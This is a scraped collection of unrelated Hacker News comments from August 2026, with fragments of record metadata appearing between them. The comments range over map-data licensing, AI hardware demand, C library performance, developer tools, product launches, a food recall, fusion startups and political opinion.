I also hazard a guess there are some small number of vocal OSM community members that hate "armchair mapping", or want to keep new mappers out of areas they're trying to control, and raising licensing disputes can be a convenient way to encourage such mappers to stay away. If the mapper disputes the claim, it'll probably just fall back to "None of are lawyers so we err on the side of extreme caution". And hence tragedy of the anticommons tends to result.
Some ridiculous examples I've come across:
- Franchise website lists store locations with Google Maps Place IDs only. OSM community members get in a panic because someone opened up every link to determine the address or coordinates of each store, then add store locations to OSM. Somehow they fear a copyright infringement has occurred, even though case law in most major jurisdictions very clearly demonstrates factual data (such as address of a store or coordinates of a store) is not copyrightable.
- Government department publishes some dataset, let's say a shapefile of points of park benches, under a CC-BY licence. They then host public competitions and conferences encouraging people to use the data and create apps and websites based on it. OSM community members panic because the government department hasn't also signed an OSM-specific form or otherwise provided approval that explicitly permits OSM's website to show attribution as just "OSM contributors" with a link to a page that lists the government department amongst 100's of others. As opposed to the bottom of openstreetmap.org having a list of 100,000+ individual contributors. No one stopped to question whether a shapefile of points of park benches could even be copyrightable in the first place. And the government department never responds to a request to clarify how they should be attributed because no one thought of that question when using the CC-BY license.
- Someone on the ground walks past a restaurant with opening hours published on the window and enters them into OSM. Or they visit the restaurant's website to learn what their opening hours are, and enters them into OSM. Oh no! Has there been a copyright infringement?
As far as I'm aware, [4] is probably the most official OSM position resolving some of these sweat-of-the-brow problems. However, other OSM Foundation and Wiki pages are in conflict and would typically scare many community members away from contributing per the examples provided above (e.g. contain strong vague statements such as (paraphrased) "Do not copy features from other maps to OSM"). Additionally, the example of [5] indicates OSM chasing up consumers of OSM data for supposed lack of attribution, and seemingly relying on non-existent (in many jurisdictions) sweat-of-the-brow doctrine to do so.
Copyright law is severley broken with the invention of AI so I guess we'll have to wait and see how jurisdictions change their copyright laws for AI. And then by extension, maybe some of these sweat-of-the-brow ambiguities for mapping/databases may finally be better resolved.

Not at all. In economics, demand has little to do with "wants", it means paying the price to buy the service. In that light, there isn't much demand for AI because the companies providing it are losing huge sums of money to subsidize underpriced and mostly free services.
The AI "demand" is now paid for by circular deals and huge debts incurred for the sake of centrally planned subsides - in confirmation of the comment you're trying to refute.
> They’re selling hardware that companies are demanding in large quantities because those companies need the hardware
Those companies don't need the hardware for funded demand (which isn't there), they need it to scalp the hardware market by hoarding and centralizing compute, while suppressing possible competitors - another centrally planned activity lacking any wider economic benefits.
PS. There's another big mistake in this expression "hardware that companies are demanding in large quantities" - the demands increase the price but they don't increase the quantity, because all relevant fabs are running at full capacity, they literally cannot provide more.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482809"} {"by": "pdonis", "comments": 0, "created_at_utc": "2026-08-28T18:51:01Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482810", "item_id": 49482810, "kids": [], "parent": 49480175, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "If there is any non-empty subset that has no smallest element, then the ordering in question is not a well-ordering.

My work machine will let me auth with my fingerprint, but the typical enterprise integration of all the things means I still have to click through 3-4 screens to get to where the fingerprint is accepted.
Services and APIs don't MFA.. they have keys and other restrictions for seamlessness. Where's the seamlessness solution for humans?

Having recently driven in Boston[1], the problem is that Google Maps tells you what lane you need to be in when the route divergence happens... it doesn't tell you what lane you need to be in to get to that lane.
So I would see guidance like be in the first or second lane (from the left) to make this left turn and all seemed well since I was in the second lane from the left. Then two more lanes merged in from the left and I had to get over two lanes and ended up on a two mile onramp for the highway to New Hampshire.
I see the same things locally, but it's not as obviously bad because I'm familiar with the local highways and also most of the local highways aren't as space constrained so there's almost always plenty of time to merge.

Anti fascist means that you don't like fascism and that you are not going to let it happen passively.
(Tired of explaining the obvious. But I guess that somebody has to.)
A dictatorship mechanically leads to a situation where the governing group is working for their own wealth, thus in this case the "group" is the governing class. The extent and definition of that class is voluntarily limited so that wealth and power converges to them.
Now you see it? Yes that is a fascism, meaning that:
dictatorship => fascism
And the reverse stems from the "groupism" (i.e. tribalism) of fascism, which entails that you need exclude large portions of the population from the political system.
As this "group" definition becomes narrower and narrower (in order to make more wealth converge to the alleged "true humans" of its center), it becomes a harsher and harsher dictatorship, and finally a strongman regime.

For the past bit, I've been working on models for real-time conversation at Sesame. We wanted an evaluation for turn-taking, the understanding of when to speak and when to yield in a natural dialogue.
I wanted to make sure the benchmark felt very accessible and understandable to people, so I built this in-browser dataset viewer at https://turnbench.sesame.com/conversations - it lets you inspect the audio directly with overlaid annotations. I thought HN might find it cool. As far as I'm aware, such an interactive web platform is a first for the academic speech community!
With TurnBench, we're also releasing a hand-annotated benchmark corpus, training set, public leaderboard, and our full eval protocol - which is based on human annotation.

Is that true though? Many of the core LLMs need to be retrained as languages evolve to incorporate changes (language specifics, compilers, tooling, etc.). To some degree this can be handled via context injection in a variety do forms (agents looking up documentation and so on) but inevitably it’s not stationary in time, just as your OSS stack (probably) isn’t (depending on the languages, technologies, and use cases).
So your hardware is to some degree dependent on the good merit of groups like Z or Alibaba or whomever pushing out updated open weight models that dumped loads of capital into to train. You can keep using the existing models but at some point I suspect they’ll start to have more friction due to dated specs in language and so on. Again there are tuning and ways of layering this information on, and in theory you can even do some training on your own but I don’t think it’s as stationary as being portrayed here.
Those updated open weight models may not always be there (updated on new data). The usability of them is probably fairly long to be fair, but I suspect you’re going to see explosion in everything from libraries to languages etc due to LLMs so even the rate of change across your OSS stack may cause these models to be dated quite quickly, at least in the core model which will require layering fixes.
To be clear I’m on the fence thinking about much of the same issues and as close as I am to pulling the trigger, I keep thinking of very valid counter arguments as to why it’s me just wanting this thing I own.

> tech managers look at tech debt as a thing to be maintained at a certain level\n > allowing us to achieve perfection\nLook, I'll defend high quality code all day long. Good code allows you to move fast just like taking 30s to tie your shoe laces allows you to run faster.
But we can't write high quality if we pretend that perfection exists. Globally optional solutions are the exception, not the norm. There's almost always tradeoffs we need to make. The high quality code, the high quality engineering, is understating, tracking, triaging, and minimizing those tradeoffs. It is writing code that allows you to change those decisions as quick and effectively as possible. But perfection doesn't exist. It's a good thing to chase, like Utopia, but ultimately unobtainable. A good engineer knows how to triage.
Advocating for perfect code will be a losing battle. But we should not, even for a second, let that be interpreted as meaning quality doesn't matter. I'm still frustrated with people who say "don't let perfection be the enemy of good enough" as most of the people that say that believe "good enough" is "it looks like it is working" and call a "demo" a MVP", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482896"} {"by": "testing22321", "comments": 0, "created_at_utc": "2026-08-28T18:59:00Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482897", "item_id": 49482897, "kids": [49484426, 49484757], "parent": 49478974, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "They have 36-38 reactors under construction today [1].

The core question is about the bond value. There are some competing things here: A small time creator should be able to defend themselves against DMCA attacks on them (they get a bond on a reversed claim) and still be able to send notices against others without undue cost. Similarly, big content creators should be able to defend their work. I think the answer here is that the bond goes up the more content strikes you submit. Small creators essentially operate for free with just a few sent out, large troll farms have to post very big bonds. This works for small creators, they could receive big bonds if someone like MS incorrectly smacks them. Of course the bond rate could also go up by number of successful reversals too but that would just lead to account churn.
The essential idea here is that there is a real cost per DMCA notice that turns into a reward for those incorrectly accused. As the total number of DMCA notices go up the more bond money is floating around ready to pay those harmed by the system. DMCA takedown agents now have a real incentive to get it right.

Boop is a small, open-source server paired with an open-source iOS app. The server currently uses around 8 MB of memory on my machine.
It’s deliberately not an observability platform or a replacement for Sentry. It receives events from your applications, sends native push notifications, and keeps them in a purpose-built mobile inbox.
I use Elixir, so I built an integration for ErrorTracker. ErrorTracker still captures and stores the errors; the plugin sends them to Boop so I can see them on my phone:
https://github.com/chrisgreg/boop_error_tracker
There’s also a general Elixir client:
https://github.com/chrisgreg/boop_ex
And a Node client:
https://github.com/chrisgreg/boop-node
The iOS app can be built and installed locally. I’ve included instructions for configuring private push notifications for your own device, so you don’t need to release anything through the App Store.
Although errors were my original use case, Boop can receive any event worth knowing about: failed jobs, deployments, signups, payments, low disk space, or anything else your application can send.
Built in Go because I wanted to save memory on my self-hosted machine so Go and Svelte felt like a good combo.
Everything is free and open source.

Hence the "puppet master" style operations that they so hilariously failed at running against these groups.
The idea that they can find the folks organizing and funding these "cells" is a big part of the US gov's premise on how it is going to "fight" these "cells".
It's not stated as explicitly as that, so it's not surprising that folks don't pick up on that distinction between "distributed groups who agree on principle but don't have any material connections" and "top down, hierarchical structures funded by singlular sources".
But the folks running the US gov don't even see the folks who disagree with them as human, much less as having a legible and understandable grievance. So it's not surprising to me that they just project their own authoritarian and top-down organizational preferences onto other groups of humans doing stuff.

Long answer: Starch and cellulose are just chains of glucose connected in a slightly different way. But they have very different properties, you can split starch and get energy from it, but you can't split cellulose (unless you are a bacteria or fungus).
As far as I know, no life form can transform starch directly into cellulose, they have to split it and reconnect the glucose later. (And the reverse path is even harder.)
There are a few cases where the cells can transform the monomers inside the chains, in particular to make collagen, but the change is to replace some -H by -OH. Changing the Carbon structure is harder, almost impossible.

Back to the article: The yeast just split the plastic back into monomers (or probably short chains) and use the chains to build carotene (similar to vitamin A).

a) Pulling in appropriate text snippets of code across multiple files and handing them to the agent, or
b) Parsing code to make high dimenional embeddings to approximate a symptom map, and hand that to the agent.
Both of these approaches skyrocket the token count, add to wall clock time, contribute to context drifting, add to the model's thinking tokens to discover the structure of the program, and then FORGET most of it when Claude Code compacts, or ALL of it if it's a multifile refactoring because all line numbers shift and need re-grepping.
Benzi is built from the ground up to AVOID reading source code in the first place. It supplies the artificial intelligence model deterministic intelligence via tool calls. For example, when a model is about to make a code change, it could query "what functions feed this one?" -- half the time it isn't even necessary because the Benzi compiler already informs it of the blast radius before and after making edits, along with a complete static analysis check.
Benzi Sonnet reads far less source code (9,125 lines) than Claude Code Sonnet (20,704), DeepSeek's harness (43,598), and OpenCode (65K+ LOC -- disqualified due to repeated failure) to accomplish the same tasks faster and cheaper. (Benchmark details: https://benzi.fly.dev/benchmark)
"But what if the compiler isn't doing its job right! Wouldn't you mislead the AI model?" - Absolutely. Benzi meticulously takes care of this by having 3 truth tiers. RESOLVED has definite evidence, CANDIDATE is what couldn't be resolved by the static analysis, and OBSERVED is what actually happened during an execution. The artificial intelligence and the determinstic intelligence layers coordinate to reduce source hits where possible, without producing incorrect results for the sake of efficiency.
It also has several bonus features such as a runtime tracer, self-aware model upgrade mid task if it thinks the job is over its pay grade, context aware model written repro, and SEVERAL more.
It currently supports Python · JavaScript · TypeScript · Java · C# · C++ · C · Go · Rust · Ruby, and can handle HTML, CSS and JS -- deterministically. Claude Code clicks photos, Benzi resolves winners of CSS rules. The CodeIndex and the MarkupIndex are fairly well tested, and if something isn't working, the model is made aware of it first.
On the benchmarks side, 78.2% SWE-bench Verified for <10¢ a fix (using V4flash). This score is noteable because while the rest of the industry is leaning plugin-heavy and pouring millions of dollars into increasing context window sizes, Benzi's approach might prove to be economically more valuable while improving the model's code writing/comprehenion abilities.

This is disingenuous. Quoting Steve Jobs himself:
> We know from painful experience that letting a third party layer of software come between the platform and the developer ultimately results in sub-standard apps and hinders the enhancement and progress of the platform. If developers grow dependent on third party development libraries and tools, they can only take advantage of platform enhancements if and when the third party chooses to adopt the new features. We cannot be at the mercy of a third party deciding if and when they will make our enhancements available to our developers.
> This becomes even worse if the third party is supplying a cross platform development tool. The third party may not adopt enhancements from one platform unless they are available on all of their supported platforms. Hence developers only have access to the lowest common denominator set of features. Again, we cannot accept an outcome where developers are blocked from using our innovations and enhancements because they are not available on our competitor’s platforms.

In the year 1984, Romania took a page from Orwell’s 1984: All medical units were put under surveillance to minimize the number of illegal abortions. There was now a secret “Thought Police” in 1984 monitoring all doctors and nurses to make sure no abortions slipped through the cracks. The number of abortion related convictions in 1986 doubled compared to 1985. Just like 1984, not only did a hidden thought police find these people doing illegal abortions, but people would report on their neighbors.
Romania was able to stop the 1970s fertility decline (which, again, was a good deal less steep than the fertility decline when abortions were legal) in the 1980s by going full Orwell and clamping down the screws.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49482963"} {"by": "devarifhossain", "comments": 1, "created_at_utc": "2026-08-28T19:06:01Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49482964", "item_id": 49482964, "kids": [49484765], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": "Hey everyone ,

"The Autistici Inventati is an Italy-based far-left organization that provides a range of technological tools and services to violent left-wing extremist groups, including website hosting on foreign servers, encrypted email accounts, chat and video conferencing, and digital architecture associated with its “Noblogs” platform. Autistici Inventati identifies itself as an “anti-fascist” and “anti-militarist” organization opposed to capitalism and exclusively provides its services to vetted individuals, collectives, and groups it perceives to be aligned with its ideology, including to sanctioned terrorist organizations such as the Kurdistan Workers’ Party (PKK), which has been designated by the United States, United Kingdom, and European Union for its use of terrorist tactics leading to thousands of deaths in Türkiye, Iraq, and Syria since its establishment in 1984.
"Autistici Inventati is being designated pursuant to E.O. 13224, as amended, for having materially assisted, sponsored, or provided financial, material, or technological support for, or goods and services to or in support of, an act of terrorism." https://home.treasury.gov/news/press-releases/sb0616/
Per the State Department: "The A/I Collective provides encrypted tools and services to numerous violent far-left extremist groups operating in the United States and around the world. Many of these groups have relied on the A/I Collective’s digital infrastructure to plot or incite violent attacks, recruit others to engage in criminal activity, publish official communiqués by U.S.-designated foreign terrorist organizations, and disseminate maps of critical infrastructure, along with instructions for building improvised explosive and incendiary devices – all routed through a network of foreign servers intended to conceal criminal activity from law enforcement."

Windows telemetry can easily consume one CPU core after startup for 5 to 15 minutes depending on the age of the computer.
Windows updating system uses even more system resources than a Linux distro updating system. Linux is simple file copying-replace while Windows has to perform logical transactions because of how bad the bones of the OS are.
It can take _cleanmgr_ 15 minutes or more to clean up a system when selecting to remove old Windows update installers. Linux just has to mark the file as re-usable and move on. _cleanmgr_ does not even clean out all of the Temp files and requires manual interaction to do so.

Keyboard input can, when designed well, be fully predictable and require no feedback loop with the computer. The motor movement involves a fixed set of physical buttons, which we can fairly easily train to press very reliably, and that training is then universally applicable across all software.
That is why you can buffer keyboard input but usually not mouse input.

There are various "ideal" EQ targets for earphones depending on what your model of an ideal audio source is. They all start with a flat response speaker, from then you can model:

- A single speaker 1 metre away in the x axis, in an infinitely-sized anechoic room. (free field)
- Two speakers 30 cm away pointing to a plastic torso at a 90° angle, in a room with reverberations. (B&K/Harman)
- A spherical room lined with speakers, point listener in the centre with no reverberation. (diffuse field)
- An infinite wall of speakers 1 metre away in the x axis. (another method for free field)

It has no TLABs or arenas. It has a single global mutex over alloc/free paths. It does syscalls underneath that lock (mmap) meaning the few fast paths it has are rarely taken under contention and have to fall back to futex wakes, so even 2 threads with minor contention and allocation rate will have visible wait points in profiles, stuck waiting for the allocator. It returns mapped memory to the OS very eagerly when a size class is empty, so even single allocs followed by a single free can cause thrashing as it mmaps/unmmaps things repeatedly for a size class over and over. Etc. You quite literally have to limit your thread count when using musl, because it will tank the performance of actually highly threaded programs that can scale with core count, even at very modest allocation rates and small working set sizes.
Its string routines and memory copy routines are also similarly bad, as the article alludes to. They are just naive loops with nearly no optimization. These are not small insignificant functions where using them is "doing it wrong", they are the backbone of vast amounts of code and can be made multiple times faster. You can similarly see string routines pop up in profiles all the time in musl builds in my experience. And unlike the memory allocator these cannot be "fixed" systematically across the application at link time, so you are stuck with it.
Real programs have to often do things like allocate memory and use multiple threads and process strings.

If you posit some property of a substrate purported to be relevant for consciousness, it will either have a causal influence or non-causal influence. Given causal closure, any causal influence is explained by prior physical events, thus bypassing any relevance of this special property (or this special property is just identical to some physical event). If the influence of this special property is non-causal, then due to causal exclusion it can't have any explanatory relevance to causally downstream behavior. E.g. it is causally excluded from relevance to speech acts about consciousness. You're left with some kind of non-physical, non-causal influence. In other words, wishful thinking.
Two further points. Modern physics has been described as "topic neutral"[1] in the sense that it doesn't posit the intrinsic nature of the substrate being described, only describes its behavior. Thus physics properly understood is itself multiply realizable: the behavior of physics can be "implemented" in dissimilar substrates with a range of intrinsic properties. But, according to the argument just outlined, these intrinsic properties can't play any explanatory role in the unfolding of physical dynamics (outside of bare implementation).
The other point is that this argument is fully general in the sense that any closed explanatory regime causally excludes phenomena not captured by entities defined within the explanatory regime. The explanatory regime of abstract semantic information is another such closed regime. Thus, for our speech acts, i.e. abstract semantic information, to be about consciousness, consciousness must be captured within the explanatory regime of abstract semantic information.

It's hard to describe the kind of mindset I'm talking about here in a YC textbox. I firmly believe that every person working at say, the checkout line in my local grocery store, know or have done genuinely interesting things and if you ask the right way, you can find those fascinating things.

The antifa remark relates to the Rote Hilfe situation. In my opinion, it's an example of how populist rhetoric became a major overreach with real consequences prior to the incident at hand. Rote Hilfe had a very weak relation to "Antifa Ost" (hardly worth US attention). That's how they got cancelled: https://www.state.gov/releases/office-of-the-spokesperson/20...

Thalmas keeps a short list of what you use, hold, follow or believe i.e. ("uses Postgres database", "holds TSLA stock"), It reads a pile of feeds and asks three questions about every story: does it touch something on your list, did that thing actually change, and would knowing it today change what you do. If all three passes, you get the push notification. Otherwise it lands on a quiet shelf. There is a hard cap of 3 push notification per day
You can paste a package.json, requirements.text, go.mod, Cargo.toml or Gemfile if you use ruby/rails for app development. It uses your direct dependencies as the list, then subscirbes to each repo's releases feed. A CVE in something you actually ship becomes one of the three push notifications. That's what the link i provided above is for: paste something, see what it would remember and watch. No account needed for /try link.
It's not only for developers. It also takes a broker's position export, or just a plain list of tickers or companies you follow, one per line. I.e. "Holds NVDA" turns an earnings surprise into your news; a company you dont hold and don't use discarded quietly.
It stays affordable because the model only sees a tiny fraction of story-user pairs. Triage happens once per story globally, then a free lexical+vector filter kills most pairs before any per-user call. Quality is checked against a golden set, and every push someone rates as useless becomes a regression test.
Stack: Fast API, Postgres + pgvector, one Hetzner box, native IOS app.
Free tier shelves what matches you and $10/month gets you the push notification for what is important to you. No ads
Known problems: repos with tag-only releases give the model nothing to read, so a release with no notes can't be judged properly. And the first week is mostly silence, which is the product working, but it looks exactly like the app being broken

More than that: there is no way to build one (assuming the word "build" means some concrete construction), because it's consistent with ZF that the reals admit no well-ordering. Indeed, you can use forcing to construct a model of R in which there is an infinite but Dedekind-finite subset of R; and you can't well-order such a set, because a well-ordering would turn it into an ordinal, and any Dedekind-finite ordinal is finite. You must use some sort of choice principle to construct a well-ordering.

The US is largely responsible for the Internet (and for the original internet protocols). The Internet is a corporation (ICANN), run by corporations, for the benefit of... corporations. I suppose the Hudsons Bay Company was a fascist state, in effect.
Here we are talking about an organization offering services on the Internet. The Internet is a cesspool. (Put some machine on the Internet: FAFO.) There have now been numerous cases where particularly bad actors have been de-peered. It's starts with muh defending the innocents, then muh rights, then the de-peering starts to bite, and then... they disappear. I will quote Paul Vixie: if you can't defend it, you don't own it.
Neither does ICANN, or the US government. But like any other entity with access to the Internet they can exert influence on providers, it's not like there is no precedent for governments making up stupid shit and expecting the Internet to enforce it for them. Private entities make up shit too, for instance all of the SPAM fighting ecosystem is largely private players making sure that "bad domains get what they deserve", and they decide the definition of "bad" (and they don't agree) as well as what they deserve.
ICANN for instance is really protective of DNS. Find me a publicly distributed DNS server (in the mode of BIND, Knot, Unbound) which supports multiple root views; nay, find me a such a nameserver which supports any additional roots in a graceful fashion. QED: systemic fascisim. ;-) Most would say that's not a bad thing, if you want to have alternate roots, then you need to keep your tree completely separate. There will be people who disagree.
Not enough background in the article or the State Dept press release for me to comment on exactly what influence they're trying to exert on a technical level. How is it different from various countries sanctioning other countries' politicians, or differences between the EU and US on internet governance? How is it actually enforceable?

You mean because they're basically just in the way, right?
I know it's asking a bit much, but IMO advanced software ideally has
- buttons, pretty colors and icons where they make sense
- keyboard shortcuts for everything
- complete documentation that ships with it (sure "it's online anyway".. so find a way to automate putting what you have on the website into the release in a form that works offline)
- preferences to hide some or all buttons/toolbars, turn off the icons, and change some or all keyboard shortcuts. GUI is cool for that, text files are also cool. In other words, why not have everything? Maybe you could even compile a version that strips out all the stuff that can be turned off, or at least hardcodes some preferences, so the compiler can skip some things that are no longer called etc.
Not a must-have but nice-to-have: tooltips for all things and maybe advanced help, so you don't need the documentation as much, or not at all for simple use cases. But if the docs are complete, I think it's fine to keep the program and development process simpler by not duplicating that in tooltips. Don't go out of your way, unless you want to.
But as I said, that's for "advanced software", by which I mean software you spend a lot of time in. Browser, text editor, email client, file manager, graphics software, and so on.

There have been some television networks that also had public licensing to broadcast over the air, but that requires a broadcast license which has stipulations of serving the public interest. To maintain this license, you require locally relevant content, a variety of viewpoints expressed and they cannot distort the news.
Increasingly, shows like Jimmy Kimmel, Stephen Colbert, Jimmy Fallon, Seth Meyers and The View which are all broadcast over the air with public licenses, became more than simply interview shows with interesting guests. They became actual political hit jobs that masquerade as news while day in day out insulting politicians and spreading provably false out of context lies which people could debunk themselves with their own research. Yet, these networks used this entertainment loophole as if it was a blank check to go against the public interest broadcast license.
No doubt, people can argue the same about politicians themselves, but politicians aren't restricted to this legal standard, because they need the flexibility to achieve whatever they think the country needs at the moment. Public broadcasting is its own thing and does allow for a significant range of content, so long as you adhere to the standards.
If PBS ran a decent journalistic report investigating some problem in an administration that is in the public interest and is an entirely different thing than these political hate shows that all seem to echo the exact same thought with different words. They can exist just fine, but I fundamentally agree that it stretches the definition of what is acceptable public interest programming for over the air broadcasting.
Putting pressure on them to change up their programming is probably a good thing for the country. What ever happened to the old high quality high integrity debate shows and intellectual interviews? It's all insults or propaganda now and "I don't know, they're crazy!", so nobody understands what's going on in the world or why it's happening. It's like they make it obvious that they have no interest in informing you, because if you understand it, you can't hate it as much as they need you to.
It would be fine for those networks to continue running those shows, but they would have to move it off to some other channel that isn't broadcast using an over the air license.
As for the constitution, they are surrounded by lawyers and if they overstep something, they back off. They are applying unitary executive theory as a solution to a slow congress to address the many critical issues facing the US in our time, one of which is demonstrating to China that we can act, which is one more element of deterrence to prevent them from starting World War 3.
Companies are largely pro-American and if they feel like woke helps resolve some kinds of political tensions that have been dividing America, then they will feel like that is the patriotic thing to do.

And before you say "Word does more" go ahead, add a hundred plugins to vim and then run that test again. vim will still win while also replacing VS Code, Obsidian, and a dozen other applications. The other big reason I love it is portability. Like the author mentions and is discussed in last week's thread, I can jump between machines (even through ssh!) and have no friction. I can have full control of my machine through ssh in a TUI while my mouse jitters while streaming the screen through either ssh or a VNC. I literally have to set different PS1s on my machines because otherwise there's no feedback telling me I'm connecting to something locally vs remotely.
But more importantly, let people do what they want. If you prefer to live in GUIs, do that. If you prefer to live in the terminal, do that. What's great about computers is the choice and flexibility. A big reason I'd support the OP here is that it exclusively adds to that. The ability to program computers and make them do what we, a random user and not an employee at some big tech company, want them to do is what made them take over the world. That even includes smart phones, where no two are alike (you all have different apps). Let's just make good products and let the best ideas flesh out. That's better than just arguing. I don't care if you use emacs, Atom, or program in fucking notepad++. You do you. But as devs we should add flexibility, not put people into boxes.

tl;dr API cost (openrouter) is always more expensive than a subscription (for the same given model). you should always use a subscription first and only go to API pricing if you run out of your subscription.
In terms of which subscription is best, different ones provide different models, different amounts of tokens, different rate limits. So it depends on what model you want and how much you need to use it. The frontier ones are always more expensive than open weight ones, but a few subscriptions are starting to include frontier models like GPT-5.6 Luna (which is a great deal but not necessarily the best price-per-performance).", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49483241"} {"by": "Telaneo", "comments": 0, "created_at_utc": "2026-08-28T19:34:51Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49483242", "item_id": 49483242, "kids": [], "parent": 49483144, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I'm not sure how you read that from my comment.

The magnet insight is that if you put a superconductor and a regular conductor in parallel, all the current flows through the superconductor. So you can plate a superconducting material on stainless steel tape, using stainless steel as an insulator. Winding a magnet out of stainless steel tape works fine. They demoed that back in 2021.

After seven rounds of increasingly large prototypes, they can get D-T fusion, but it's not self-sustaining, nor do they get power out. Prototypes have thus far underperformed claims.\nAround 500 people.
TAE. Recently merged with Trump Media. Really.
There are quite a few others. Many are working on some kind of pulsed fusion, like the Livermore National Ignition Facility. This is known to create fusion, but is hard to turn into a useful power source. They can get to a non-useful fusion demo by pumping a lot of energy into a small space, so it looks like progress.
On the continuous fusion front, several startups are trying to revive 1950s Stellarator technology.\nFor a few years back then, fusion energy looked close.
Anyone have expertise in this area? Are any of these going to work? Or is the product the stock?

The quality of the product you get, like always, is about what people are willing to pay. The big difference is that the current cost of labor/material inputs there, is low enough that you can get the same or often better quality for less.
I wouldn't call that dumping. And to be clear, yeah they've done dumping in some cases.
But when we look at what's happened in the last 8 months or so around various AI SaaS-ish offerings, one could argue that plenty of US companies have done 'dumping with extra steps'. (And that's not even the first time necessarily, e.x. the DoorDash Pizza Arbitrage thought experiment...)

Fun fact. The inertia for any rigid body can be represented by 4 point masses forming a tetrahedron. If you diagonalize the inertia matrix, the coordinates of the 4 point masses can be (x, y, -z) (-x,-y,-z) (x, -y, z) (-x, y, z) where x,y,z are easy to calculate (I wrote this all down ages ago). You can also represent any point on the rigid body by its barycentric coordinates relative to those points. I believe an impulse can be applied, by finding the barycentric coordinates of the point its applied and using those coordinates to distribute the impulse to the 4 masses.
This is all really cool with one huge exception.

This is a double edged sword. Yes, LLMs have given me some really interesting solutions that are advanced enough that I need to really work to follow them.

When I bought my first car, a 2019 Subaru Forester, I also bought an extended warranty. I wanted to stay informed about problems that might be covered, so I started checking NHTSA.gov—the website of the National Highway Traffic Safety Administration, a U.S. agency—every month for new service bulletins.
Those bulletins pointed me to problems I might not otherwise have recognized as repairable. For example, my trunk would not open as far in cold weather. I probably would not have asked the dealer about it, but I found a service bulletin describing the problem and was able to get it fixed under warranty.
I wanted a simpler way to find information relevant to my car and to be notified when something new appeared, so I built Dipstick Alerts. This was also my first substantial project built with extensive help from AI coding tools.
You can use the site without signing up: select a year, make, and model to search for recalls and manufacturer service bulletins. Results include a plain-language summary, symptom notes, suggested next steps, and a link to the original manufacturer document when available. Email alerts are optional.
NHTSA is the underlying data source, so coverage is currently focused on vehicles sold in the United States. Some of the information may still be useful elsewhere because many vehicles and components are sold globally, but models and bulletin applicability can differ between markets.
A daily process scans for newly published recalls and bulletins, imports them through queues, matches them to applicable vehicles, tracks superseding bulletins, and prepares alerts for subscribers.
Some of the plain-language content is generated from the source documents using Gemini. The original manufacturer documents remain the authoritative source.
The application runs on Cloudflare Workers using D1, Queues, KV, and email sending. I’d especially appreciate reports of incorrect vehicle matches and feedback on whether the summaries are genuinely useful, whether anything in the search or alert flow is confusing, and how the site performs under load.
I’ll be around to answer questions and fix problems.

The reason echoes a recent issue the USDA has been following—one that's becoming peculiarly common.
If you’re wondering what has been going on with our food, you’re one of millions. Now, on Wednesday, August 26, the U.S. Department of Agriculture (USDA) published a recall notice on 24,900 pounds of chicken.
The event reportedly impacts foodservice businesses in New England—namely, Maine, Massachusetts, New Hampshire, Rhode Island, and Vermont.
The USDA’s Food Safety and Inspection Service (FSIS) says two separate frozen, not-ready-to-eat Buffalo chicken-flavored products from Boston-based Shanghai Ravioli Corporation, Inc. are being pulled.\nWhy is the recall happening?
FSIS surveillance reportedly found that products named as “Buffalo chicken rangoon” and “Benedetto’s Buffalo chicken mozzarella sticks.” The products apparently have “false marks of inspection” with “EST. 18004.”
The cited reason suggests the matter may follow a recent trend, in which the USDA is suddenly clamping down on imported foods. An industry trade site refers to Shanghai Ravioli Corporation as a “distributor of pasta and other goods,” which means they could be involved in importing.
The FSIS’s image of the products does not show a country of origin.
Sources have explained that animal-sourced foods brought in from foreign countries need to be inspected once they reach the U.S. side. Other recent USDA recalls for the same reason affected soup and bacon, both from Canada.\nWhat’s the risk?
Wednesday’s FSIS announcement states, “Food produced without inspection may contain undeclared allergens, harmful bacteria, or other contaminants that put consumer health and safety at risk.”
The FSIS lists the recall as a Class I, which they deem as a high or medium risk. This ranking is used when “there is a reasonable probability that the use of the product will cause serious, adverse health consequences or death.”
The agency says it urges businesses not to serve the product and to discard or return them to the place of purchase.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49483523"} {"by": "speckx", "comments": 0, "created_at_utc": "2026-08-28T20:02:54Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49483524", "item_id": 49483524, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": null, "title": "", "type": "story", "url": "https://news.ycombinator.com/item?id=49483524"} {"by": "SG-", "comments": 0, "created_at_utc": "2026-08-28T20:03:14Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49483525", "item_id": 49483525, "kids": [], "parent": 49483248, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "from the Dave Plummer wiki:

Academia was on fire a long time ago, as evident in the reproducibility crisis.
A core cause is publishing pressure: Journals give peer reviewers almost no time to approve new works, and a professor who fails to approve what he reviews can jeopardize his own ability to publish, turning the process into a frenzied rubber stamp.
Lack of actual peer review means significant errors and even fraud gets published without question.
I've seen the pressure to publish cause a professor to cover up protocol lapses in rat studies. The professor was made aware that the control group had been mishandled, invalidating the findings, but he published anyway because failure to publish something after receiving grant money could harm his career.\nEven in harder sciences like chemistry I've seen papers with glaring errors in the equations.
The current state is that the majority of academic output is not reproducible -- you cannot depend upon it for building toward future results.

GCC and clang treat functions like memcpy specially. Because they're defined by the standard and are reserved names, compilers can assume the exact semantics specified by the standard and elide library calls altogether with optimized inline code. But if the compiler can't do the optimization (can't prove alignment, indeterminate length, etc), it just emits a library call, even if your source has some other local function definition named "memcpy". Explicit use of __builtin_memcpy is treated identically to calls to memcpy, unless the compiler is invoked with -ffreestanding, in which case it only optimizes __builtin_memcpy and skips special treatment of calls to memcpy, but __builtin_memcpy could still expand into a call to memcpy. If you're writing a C library you want to use -ffreestanding. (I think. There may be more nuance.

